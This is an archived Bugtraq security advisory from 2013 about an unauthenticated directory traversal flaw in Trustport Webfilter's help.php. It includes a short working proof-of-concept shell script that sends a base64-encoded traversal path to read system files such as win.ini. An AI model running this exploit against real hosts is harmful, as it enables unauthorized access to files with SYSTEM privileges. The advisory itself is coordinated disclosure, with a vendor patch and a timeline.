bugtraq - Trustport Webfilter Remote File Access Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Wed, 07 Aug 2013 17:20:13 +0200
From: oliver <oliver.karow@....de>
To: bugtraq@...urityfocus.com
Subject: Trustport Webfilter Remote File Access Vulnerability

Trustport Webfilter Remote File Access Vulnerability
====================================================

Affected Product
----------------

Product Name: Trustport Webfilter
Product Version: 5.5.0.2232
Platform: Microsoft Windows

Product/Company Information
---------------------------

 From Trustports website:

     "An advanced solution for the protection and optimization of web 
traffic within your company network.
It enables both monitoring and directing of users web activities.
It also utilizes your internet connectivity, and reduces the risk of 
virus infections.
Contributes to protecting the reputation of your company."

Trustports website can be found at www.trustport.com

Vulnerability Description
-------------------------

A vulnerability exists within the help.php script, allowing an remote 
attacker to access files outside of the
webroot with SYSTEM privileges, without authentication.

In order to exploit this vulnerability, an attacker has to craft a 
special GET-request, with a base64 encoded
directory traversal string and file name (see Exploit section).


Exploit
-------

#!/bin/sh
#
# PoC Exploit for trustport TrustPort_Webfilter_5.5.0.2232
# Usage: ./exploit.sh <IP> <path/filename>
# Example: ./exploit.sh 192.168.42.130 ../../../../../Windows/win.ini

# oliver.karow@....de

MY_IP=$1
MY_FILE=$(echo -n $2| base64)
MY_CONSOLEPORT='4849'

if [ $# -eq 0 ]
then
    echo "Usage: `basename $0` <ip> <path/filename>"
    exit
fi

echo -e "GET /help.php?hf=$MY_FILE HTTP/1.0\n\n\n\n" | openssl s_client 
-connect $MY_IP:$MY_CONSOLEPORT -quiet

Patch Information
-----------------

A patch is available from vendor.
Corrected Build is: 6.0.0.3033

Advisory Information
--------------------

http://www.oliverkarow.de/research/trustport.txt

History
-------

26/07/2013 - Initial contact with vendor
26/07/2013 - Response from vendor
30/07/2013 - Patch information provided by vendor